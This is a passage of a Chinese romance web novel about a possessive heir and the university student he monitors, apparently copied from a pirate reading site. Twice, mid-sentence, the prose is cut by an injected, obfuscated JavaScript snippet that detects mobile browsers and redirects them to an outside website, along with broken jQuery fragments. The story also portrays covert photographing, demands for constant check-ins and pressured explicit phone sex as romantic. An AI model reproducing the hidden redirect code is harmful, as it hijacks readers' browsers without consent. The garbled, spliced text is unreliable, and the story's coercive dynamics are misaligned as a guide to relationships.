短暂分离,迟砚川的双眸漆黑如墨,深邃得仿佛要将她吸进去。 明枝移开视线,他的眼睛会蛊惑人心,她已经领教过,不想再陷进去。 “会想我吗?” 他的嗓音带着刚缠吻过的湿润。 “会不会,嗯?” 不等明枝回答,他又追问,彼此鼻尖几乎相抵,呼吸亲密交融。 明枝不愿惹他:“会。” 才不。 迟砚川低笑:“真乖。” 小骗子。 10. 和她结婚 正午的阳光照亮车窗玻璃。 车外闷热,车里仿佛结霜。 迟砚川靠在真皮座椅里,手上打火机哒一声脆响。 蓝焰火苗映入他的眼中,却怎么都烧不热那一片冷冰。 迟砚川长指夹烟,另一只手搭在方向盘上,指节轻叩,一声一声,像倒计时的钟。 车窗降了三分之一,迟砚川盯着那道背影。 明枝走得不快,却沉稳,仿佛每一步都踩着某种坚定的念头。 她分明就在他触手可及的地方,可她却背对着他,一次也没回头。 烟灰落在了手背上,皮肤传来灼热刺痛,迟砚川连看都没看一眼,发暗的双眸始终盯着那道渐远的身影。 她就要回到她的车上。 金属门把的冷硬贴近掌心。 只要他轻轻一拧就能推开车门,大步追上她。 她本来就属于他。 他只是拿回属于自己的宝贝,又有什么不可以。 “大少,这些茶点……” “换凤凰单丛,蒋先生爱喝那个。” “好的。” 迟清淮从茶室出来,交代好阿姨,他拿出手机走到连廊,打了通电话出去。 铃声响了挺久,那边才终于愿意接下,迟清淮温声开口,“在哪,还回来吗?” 迟砚川:“机场。” 迟清淮回头看了眼茶室方向,一笑了然,“知道了。” “三弟走了?”安遇端着果盘过来,刚好听到迟清淮的电话。 “嗯。”迟清淮接过果盘交给一旁的阿姨,让她送进茶室,“说是到机场了。” 大概是不太乐意妈今天的安排。 这么想着,迟清淮目光落在安遇身上,当初,他们也是这么被安排见面,然后成为夫妻。 安遇:“这么巧,枝枝也刚走。” 迟清淮眸色微顿:“是吗。” 迟清淮忽然想起在顾家那晚,似乎也是这样,枝枝前脚一走,砚川后脚也离开了。 两次都这样,还真挺巧。 * 顾灼打着方向盘将车开进不远处的别墅花园里。 停好车,顾灼迈着长腿下来,随手摘掉脸上的黑框墨镜,露出放荡不羁的一张俊脸。 面前是一栋典型的东南亚融合风度假别墅,天然石材墙,大量热带绿植环绕着庭院。 滑轨玻璃门连接内外院,顾灼拎着墨镜单手插兜,慢悠悠往里走。 最后走到种了一圈椰子树的恒温泳池边上。 “三哥,游几圈了?” 顾灼像回了自己家似的,给自己倒了杯酒,跷着二郎腿坐到白色躺椅上。 池水清澈见底,游动时湛蓝的水面泛起一圈又一圈的波纹。 “给。” 迟砚川上岸,顾灼把一旁的干毛巾给他递过去。 迟砚川把毛巾随意披在肩上,往旁边另一张躺椅坐下,拎起酒杯仰头喝了一口。 “三哥,威萨努已经把关系都托到我这儿了,说就想见你一面,把之前的误会解释清楚。” 威萨努的家族公司曾是泛海海外事业部的合作方之一。 枪击事件后海外部陷入短暂管理混乱,他们宁可支付违约金也要解除合作。 如今眼见迟砚川带领团队重振势头,又想舔着脸回头寻求合作。 迟砚川从桌上拿起烟盒,“你不是来蜜月度假,杵我这干什么。” 顾灼:“不急,反正我老婆又不会跑。” 迟砚川睨他一眼。 顾灼枕着脑袋一脸悠闲地躺到椅子上:“三哥,你这地儿不错,比我预订的酒店还舒服,风景也好。” 顾灼扭头:“这里该不会是给明枝妹妹准备的吧?” 见迟砚川不答,顾灼权当他是默认。 顾灼叹气:“可惜啊,人家姑娘要上学,怕是来不了你这。” 迟砚川:“没人把你当哑巴。” 顾灼:“哥,你这么劲的身材只能游给我看了。” 迟砚川咬着烟:“滚。” 顾灼偏不滚,一个打挺坐起身,眼珠一转几百个坏主意就上来了。 “哥,不然,我把人给你弄来?” 顾灼拎着酒杯转了转,“恶人我来当,反正我在那姑娘心里应该也不是什么好人形象。” “我就跟明枝说你病了,病得很重还一直在喊她的名字,怎么样?” 迟砚川嫌弃地看了他一眼。 他二百五的智商是怎么结到婚的。 迟砚川道:“用不着。” 言简意赅的三个字,是不许他插手的意思。 顾灼:“三哥,你就是舍不得。” 舍不得真用狠手段,否则明枝一个背后毫无靠山的孤女又能逃到哪里去。 迟砚川掐灭烟,起身:“你可以滚了。” 把人赶走,迟砚川进了浴室,抬手拧开淋浴龙头,淅淅沥沥的水流砸在肩头,顺着男人紧绷的脊背滚落。 迟砚川垂眸静立,高大的身躯像一座矗立的冰山,眉间满是冷冽。 原本,这间浴室不该只有他一个人。 这栋度假别墅的确是为明枝准备的,从里到外,全部按照她的喜好设计。 事实上迟砚川远不止要在海外部待短则几月的时间,他看好这片市场。 他的目标也不是和威萨努家族公司重新达成合作,而是要吞并收购它。 这也就意味着他和明枝会两地分开更长的时间。 距离她毕业还有两年,这两年他会做出自己想要的成绩。 然后等她毕业,和她结婚。 哗啦的水声戛然而止。 片刻安静后,一条莹白的手臂推开玻璃门。 蒸腾的热气裹挟着青提葡萄沐浴液的清香漫了出来。 发梢还在往下滴水,明枝把毛巾往头上一罩,粗略揉了两下,站到阳台的镜子前,打开吹风机开始吹头发。 乌黑如瀑的长发下是一对微微泛红的耳尖,明枝喜欢用热水洗澡,大部分正常人应该也是。 而迟砚川只用温水甚至冷水。 两个人分明洗不到一块儿,但迟砚川非要。 结果就是他冷白的皮肤被烫出粉红。 每到那时,明枝一双眼睛都不知道该往哪里看,她搓搓自己的鼻子,“让你不要跟我一起洗,你非要,烫不熟你。” 迟砚川就笑,“我烫你一次,你烫我一次,很公平。” 半小时前,他全部弄到她肚子上,连胸口都被溅到几滴。 她都忘了他还敢提,明枝瞬间炸毛扑到他身上。 * 吹风筒还在运作,低噪音响在耳畔,渐渐把明枝的思绪拉了回来。 头发吹干,神清气爽,明枝拿了个抓夹全部夹到脑后,再用发箍把额头的头发弄上去。 明枝撕开了两张安遇送给自己的面膜,“矜矜,脸过来。” 唐矜从电脑屏幕抬起头,乖乖把脸凑上去。 明枝给她贴上面膜,自己也贴上,两个人面对面坐着。 唐矜在写稿,明枝在修图。 宿舍是三人间,除了她们两个,另一位舍友叫盛亦舒,但她基本住在淮城本地的家里。 唐矜也是淮城人,但她基本住校。 只有在宿舍里,明枝才能感到久违的那种放松,她可以无拘无束,躺着坐着都随心所欲,不用谨守迟家明小姐的规矩。 饿了想吃夜宵也不必惊动太多人,只需要揉着肚子抬头叫一声:“矜矜~” 唐矜扬唇:“走吧,下楼。” 明枝说:“吃关东煮好不好?烤冷面和钵钵鸡我也想吃!!” 唐矜想起上次明枝吃了关东煮结果肠胃炎,“你三哥不是不让你吃这些东西吗?” 当时明枝在校医室挂水,她有气无力,电话是唐矜接的,并顺手给她按了扩音。 电话里的男人嗓音冷沉,先是教训她不该乱吃东西,明枝哼哼几声后,对方又放缓下来,字字句句满是关切。 明枝一脸快意:“他人在天边,管不到我了!” * “耳机收起来,后排补到前面!快点!” 台上讲师新买的扩音器效果非常好,浑厚的一声吼,教室里打瞌睡的学生都被惊醒了。 没办法,再开朗的人来上早八都会变成困死鬼的。 盛亦舒捞起课本不情不愿起身:“早知道就早点来了,这下没得摸鱼了。” 唐矜:“明天也有早八课,七点四十来占位?” 盛亦舒:“额……当我没说。” 在赖床二十分钟和冲刺三分钟上她还是果断选择了后者。 明枝打了个哈欠跟在两人身后往前走,她昨晚失眠了。 准确来说是做了个噩梦。 迟砚川那句给她办留学申请的后遗症太大,明枝梦到自己被连夜打包扔到了人生地不熟的国外。 她好不容易想方设法逃出来,结果一打开车门却发现里面坐着的人是迟砚川。 他笑着对她说:“跑累了吧,我来接你。” 她一下子就被吓醒了,然后浑浑噩噩一整晚。 * 上午的阳光从教室的百叶窗缝隙里斜照进来,明亮却不刺眼的几条光带恰好落在并排而坐的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549474|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女孩身上。 盛亦舒生就一副英气飒爽的风骨。 唐矜长得清俏可爱,她的脸型很小,一双眼睛透亮得好像误入人群的幼鹿。 明枝坐在靠窗边,大部分光域都照在了她的身上,她脸颊上的细小绒毛清晰可见,散在后背的发丝染上了暖调的光晕。 明枝的长相属于是放在人群堆里被评为‘最美’也不会有任何的反驳声音出现的那种。 第一眼难忘。 第二眼渴望。 明枝长得不算矮,一米七的身高双腿又白又长,她的眼睛很大,五官精致,瓷白的肌肤与明媚的唇形成视觉冲击。 除了长相,她身上更加吸引人的是一种浑然天成的鲜活感,就像盎然的春意。 俗称‘活人感’很强。 大概跟她自由无拘的童年有关。 明枝在思考时喜欢垂眸,脸上什么表情也没有,浅浅的眉峰偶尔蹙起,显得拒人千里。 然而她越是难以接近,就越让人心痒难耐,勾起了想要把这么鲜活的人占为己有的私心。 上午是满课,从早八一直上到十一点半,中间换了一次大教室。 终于熬到下课,盛亦舒伸着懒腰站起身,余光一瞟教室门口。 “枝枝,林耀言又来了。” 明枝收书的动作一顿。 当事人脸上波澜不惊,周围停下来看热闹的人在说着‘好浪漫’‘好深情’ “明枝,要不要一起去吃饭,我订了餐厅。” 明枝一言不发,把书本收回包里,背在肩上,和盛亦舒唐矜一起离开。 林耀言愣怔片刻,捧着花锲而不舍追出来。 这会儿下课时间,人很多,林耀言一直追到一楼连廊。 “明枝,不管你信不信一见钟情,我是真的喜欢你,你身上的知性温柔——” “师兄,”明枝淡声开口打断他的自我深情,“如果再有下次,我会上报学校说你尾随骚扰我。” 说完便从他身旁越过,头也不回。 在‘拒绝’这件事上,明枝从来不拖泥带水,除了迟砚川。 她气他,又怕他。 她不是没有拒绝过他,但代价大到她险些崩溃,那次后她得出经验,对付迟砚川,不能硬来,要迂回战术。 时间久了他一定会腻,不会再把‘负责’两个字挂在嘴边。 而她也总会有不再渴望他身体的那天,所谓堵不如疏,既然无法克制本能的渴求,那只能纾解。 够了,她也就不再感到新鲜了。 “明枝——” “行了啊师兄,”盛亦舒拦住林耀言:“再追过分了!” 被林耀言这么一耽误,食堂每条道都排起了长龙。 好不容易打到饭菜,三人又找了一圈才找到一个空位置,还好位置不错,正好面对着食堂一百寸的电视机。 食堂每到饭点都会播放甄嬛传和知否或者一些别的影片给大家下饭。 今天放的貌似是一部韩剧,剧情讲到两位主角从酒店出来,其中一位开始翻脸不认的剧情。 盛亦舒看得入神:“靠,睡了人家就不想负责,真渣!” 话音刚落,盛亦舒旁边忽然传来一道剧烈的咳嗽声。 “怎么了?” 盛亦舒连忙放下筷子轻拍她后背。 明枝咳着:“今天的胡辣汤好辣……” 唐矜给她倒了杯清水,闻言看了眼自己喝见底的汤碗,有些茫然:“辣吗?” 明枝喝了口水,刚缓过来,她手机响了,垂眸一看来电显示,差点又被呛到,她下意识就点了挂断。 C:[嗯?] 明枝:[在上课不方便。] C:[大二课表.pdf] 明枝深吸口气,赶紧回拨电话过去。 “三哥,我的意思是我刚下课,在食堂,这里太吵了,不太方便接电话。” 听筒安静片刻,传来意味不明的两个字:“是吗。” 迟砚川坐在沙发上,放大刚接收到的照片,教学楼下,少女明媚的脸庞浸着阳光,青春洋溢。 “有没有什么事要跟我说。” “啊,没呀。”明枝夹了棵菜。 “今天都做了什么?” “上课下课吃饭睡觉。” 明枝嚼着白灼西蓝花,语气敷衍:“可以了吗,我要吃饭了。” 对面又安静片刻,迟砚川的嗓音变得低磁闷重:“宝宝,知道我在干什么吗?” “干什么?”明枝顺嘴问。 “看着你的照片——” 明枝反应两秒,立刻把电话一挂。 11. 你是我的 工业商圈内,一座高耸入云的大楼矗立其中,四面玻璃幕墙全灯亮起,在暮色中熠熠生辉。 电梯缓缓上行,何乐紧握手机,到达楼层,他步伐加快,敲了敲门,进去。 “三少。” 何乐站到办公桌前,微微欠身,却欲言又止。 迟砚川瞥他一眼,继续翻阅面前文件,“不说出去。” 何乐赶紧开口:“三少,刚才,蒋小姐给我打了电话。” 迟砚川头也没抬:“谁。” 何乐顿了顿,补充:“东盛集团,蒋南初小姐。” 蒋南初今晚来了清迈,在酒吧和朋友聚会遇到了骚扰麻烦,双方争执起来,她们报了警,最后被警察带走了。 迟砚川在纸张末尾签下名字,合上文件啪一声扔到桌上,抬头盯他:“你是谁的助理?” “抱歉三少!” 何乐赶紧解释:“蒋小姐的电话之后,顾总也给我来了电话……” 迟砚川眸光微沉。 “你好,我想见我的委托人蒋小姐,我是她的代理律师。” 警察局里,戴着眼镜西装革履的年轻男人正在进行交涉。 事情很快解决,蒋南初走了出来。 见门外马路边停了辆黑色商务车,她眉毛轻轻一扬,走过去,打开车门。 然而车里空空如也,并没有其他人。 蒋南初回头:“只有你?” 律师扶了扶眼镜:“是的。” 蒋南初微微攥紧手提包带,别说迟砚川,就连他的助理都没有现身。 蒋南初凝神片刻,从包里拿出张卡塞给律师。 “这……”律师面露惊讶。 “告诉我你老板之后的行程安排,我保证你很快就可以辞职过上退休生活。” * 度假酒店内,色彩鲜明的躺椅与遮阳伞并排摆放,湛蓝的泳池清澈见底,池面波光粼粼。 低音炮的电子乐与水花交织,穿着各式各样比基尼的女孩们泡在池子里,热带风情的布料勾勒出曼妙曲线。 女孩们有的湿发贴背在水里玩排球,有的坐在躺椅上喝鸡尾酒,笑声清脆。 然而众人或笑或闹,所有的目光都悄然聚向泳池的另一端。 那片格格不入的安静区域仿佛有着无形的巨大吸引力。 “Cyrus,这个派对是我专门为你组建的。” 这大半个月,威萨努简直像狗皮膏药一样蹲点迟砚川。 当威萨努得知迟砚川是独身长居清迈,未带任何女伴时,这份带着体贴与示好的安排出现了。 相较于在昏暗暧昧的声色场所刻意送女伴,此刻泰兰德的夏日里,蓝天白云,这份小清新的馈赠就显得格外纯粹。 作为派对的焦点人物,迟砚川却只是慵懒地坐在沙发上,戴着黑框墨镜,单手拎一只酒杯。 男人神情淡漠,周身疏离感很重,墨镜遮眼让人难以揣测他的真实情绪。 迟砚川的身材很顶。 腰腹紧实,肌肉线条分明,他生得极具压迫感,五官又深邃。 最重要的是,他的手大而骨节分明,微微凸起的青筋无不彰显爆棚荷尔蒙。 不远处的比基尼女孩们频频偷瞄,有人脸颊泛红,却还是忍不住多看几眼。 这样的男人一看就很能干,很强大的样子。 同一时间,派对的酒店三楼露台。 蒋南初捏着酒杯坐在那,垂眸。 她了解过迟砚川,知道他性情桀骜,不是轻易能搞定的人。 换作别人,被一个律师打发,如此明显地拒绝,恐怕早就知难而退。 可蒋南初不会。 她的目标一直很明确。 也只有与迟砚川强强联手,她才能在东盛集团真正拥有属于自己的话语权。 否则,一切都只属于她的大哥和堂哥,轮不到她半分。 “Cyrus?” 威萨努不理解,怎么会有男人对面前的梦幻诱惑丝毫不为所动。 而是在——玩手机? 手机里能有什么?他不理解。 “Cyrus!” 见迟砚川收起手机起身,威萨努连忙也跟着起来。 迟砚川抬手将他按回座位,他背光而立,轮廓显得幽暗:“玩得愉快。” “OK……” 威萨努看着迟砚川的背影一脸发愁,所以,他这到底算不算示好成功了。 怎么会有人把一句‘玩得愉快’说得令人背脊发凉。 * 一场雨过,淮城入秋。 明枝从宿舍出来,准备去上早八,走没两步路又折返回来,拎了件针织外套披在肩上。 盛亦舒打着哈欠,台上讲师的声音像催眠曲,困得她眼皮打架。 熬到十一点半,她又立刻精神抖擞了起来。 看见教室门口有男生捧花来接女生下课,盛亦舒说:“林耀言好像很久没露面了,我前两天听师姐说他请了快一个月的假!” 唐矜说:“能请这么久?” 盛亦舒抬了抬下巴:“他妈是校董,十天半个月的假根本不算事儿。” 唐矜说:“这下枝枝能清静了。” 明枝不甚在意一笑。 林耀言对她来说算不上困扰。 如果某位高需求的少爷不再烦她,那她的世界才是真正的清静。 下午没课,窗外淅淅沥沥下起了雨。 明枝去饮水机接了杯水,坐下,刚打开电脑,工作室的师姐就给她发来了新消息: [枝枝,来新活儿了。] 明枝从大二开始就在师姐的摄影工作室里兼职。 她们工作室在各大社交平台都有账号,加起来差不多小几百万的粉丝,修图风格很受欢迎。 工作室也经常外接一些修图单子,大部分是需要精修形象的名媛和网络博主们。 [对方说特别喜欢你的修图风格,她下了加急单,我把文件包发你邮箱了哈。] 明枝回复一个ok,随即登录工作邮箱点了接收。 明枝将照片文件包下载到桌面,双击打开第一张,屏幕上女孩的照片被放大呈现的瞬间,明枝愣住了。 竟然是蒋南初? 还真是凑巧,难道是认出她来了? 明枝很快又打消了这个念头,她在工作室的接单化名是一个字母Z,这谁认得出来。 大概真是巧合吧。 明枝没多想,随手滑动鼠标开始逐张翻看。 翻到最后一张照片,明枝的视线顿了顿,她把照片放大。 这张照片里,蒋南初的身体明显偏右,把中心位置留给了距离稍远的一个男人的背影。 而明枝几乎瞬间就认了出来。 那是迟砚川的背影。 窗外雨势明显渐弱,却不见放晴的迹象,看来今天是见不到阳光了。 铅灰色的团云将整座城市笼罩,空气里弥漫着潮湿的闷重感。 “哥哥,你到了吗?” “好,我马上出去……” 唐矜挂断电话,从床上下来,收好东西正要出门,见明枝全神贯注的侧脸,又注意到她桌上已经空了的水杯。 唐矜把包放回原处,拿起她的水杯去接了杯温水回来放到她面前。 唐矜说:“你嘴唇起皮了。” 明枝嘴巴微微嘟起,抬手就要抱唐矜,她环住她的腰,把脸贴在她软软的肚子上。 唐矜捏了捏她微绷的肩膀:“今天工作量很大?” 明枝垂下眼睫,大概是太长时间没喝水,嗓音听起来有些闷:“嗯,接到一个新客户。” 唐矜柔声:“忙完记得吃饭。” 唐矜一走,宿舍顿时安静下来。 明枝靠着椅背静坐片刻,瞥了眼电脑右下角的时间,随即收拢思绪,重新投入工作。 修好的照片发回给工作室。 等了会儿。 [OK啦,对方点确认了,说很满意。] 明枝合上电脑,起身舒展了下腰背。 她端着杯子踱到阳台,外面又飘起了细雨,不大不小,这种雨通常能下一天。 这种天气适合午睡。 明枝洗了把脸,躺到床上翻来覆去却始终没找到困意。 明枝睁眼盯了会儿天花板,最后她把脸埋进枕头里,抱着团成球的被子静了一会儿,才慢慢闭上眼睛。 * 明枝是被手机震动声音吵醒的。 她迷迷糊糊睁开眼,才发觉天黑了,摸过手机瞥见屏幕时间,竟然已经晚上九点。 手机有未接电话,是迟砚川。 明枝懒洋洋地用脸颊蹭了蹭枕头,一点都不想打回去。 然而对方锲而不舍,电话再次进来。 明枝想装没看见,但后果很麻烦,她不情不愿接了起来。 “哪位。” “你老公。” “……” 狗不过他,算了。 只两个字迟砚川便听出来:“刚睡醒?” “被你吵醒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549475|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明枝翻了个身趴在枕头上,另一只手伸过去打开夹在床边的小台灯。 暖光一下照亮宿舍。 “今天做了什么?” “上课下课,宿舍睡觉,刚醒。” 明枝机械性地开口,有点烦迟砚川老是这么问自己。 她就像个戴着电话手表出门玩,看似家长给了自由,却仍然需要定时汇报动向的小学生。 “干嘛老是问,你每天又在做什么。” 心里这么想的,明枝直接就说了出来,她的尾音还带着刚睡醒的沙哑,又像撒娇似的黏糊。 然而明枝刚说出口就后悔了。 听筒传来男人的一声轻笑,“从明天开始我让何乐给你发我的行程,从早到晚,事无巨细。” “不用!别发!我不看!” 三连拒绝,明枝闷闷咕哝:“正常人谁没事老是问对方每天都在干什么,这不跟监视一样。” 迟砚川:“点我?” 我拼命点! 明枝趴在枕头上,翘起双腿左右晃了晃,“没有呀哥哥。” 迟砚川笑,又怎么听不出她心口不一,只当她被吵醒了的起床气在发作。 这会儿九点,宿舍外走廊不时传来脚步声和说话声,宿舍里却很安静。 听筒那边也安静下来,就在明枝以为这通跨国电话信号不好断线了的时候。 “老婆。” 明枝捂着耳朵把脸撞进枕头里。 “宝宝?” 明枝闷声:“干嘛……” “所以枝枝更喜欢听我叫宝宝。” “随便你。” 嘴巴长在他那里,她又堵不住。 迟砚川:“明天准备做什么?” 又来了,明枝戳了戳蘑菇台灯,“上课下课吃饭睡觉。” 迟砚川坐到沙发上,腰往后靠,伸手扯松领带,“枝枝就这么喜欢跟我对着干?” “我说的都是实话。” “那有没有想我。” “……” “有没有?” “有。” “怎么想的?” 明枝答不上来,压根没想。 迟砚川:“有没有看哥哥的照片?” 还提这个,明枝一把揪住枕头:“我又不是变态!” 迟砚川低笑出声,沉闷的笑声里带着明显的愉悦,笑得像个诡计得逞的反派。 明枝气恼:“我挂了!” 迟砚川不紧不慢:“挂一个试试。” 迟砚川表面看起来很凶的时候,实际上可以任她踹,他越是平静的时候,才最可怕。 明枝不敢了,过了会儿,她听见那边传来窸窣的声响。 迟砚川拆了颗青提味的糖含在嘴里,爆珠款,一咬开,清新的甜在唇舌蔓延。 又过了会儿,明枝听见另一种声音。 紧接着,存在感很重的呼吸声钻入她的耳膜,像湿润的舌在舔。 “宝宝,叫我。” 明枝的身体明显一颤。 半晌,她声如细蚊:“三哥……” “再叫。” “三哥……” “求我。” “三哥,求求你……” “好乖。” 明枝的脸已经红温了。 手机屏幕贴在耳朵上烫得厉害。 明枝整个身体都快烧熟了。 喉咙里像憋了一口气,出不来,痒痒的。 门外走廊不时传来的声音更让她心虚得厉害,生怕被人听见她在做什么,尽管她什么都没做,只是把发烫的手机握得紧紧的。 明枝煽动湿漉漉的眼睫,把脸埋进枕头里,闷声问他:“好了没啊……” 按照她对他的了解,应该还没有,她身体上吃过最大的苦头就是他。 “宝宝,”迟砚川忽然问她:“哭了吗。” 明枝反应了两秒,倏地抬头对电话里义正严词道:“我才没有!” “碰一碰再回答我。” “我不要!” 没开灯的客厅显得昏暗,男人侧着脸微扬下巴,喉结愉悦翻滚,“只给哥哥碰?” “双腿打开。” “你能不能……!!” 别这么变态! 明枝已经骂到词穷了,甚至想上网发帖寻求一些骂人新话术。 “我要挂了!” 她真的忍不了了。 挂断前,男人嗓音极哑的一句幽幽钻入她耳畔:“枝枝,你是我的,永远都是。”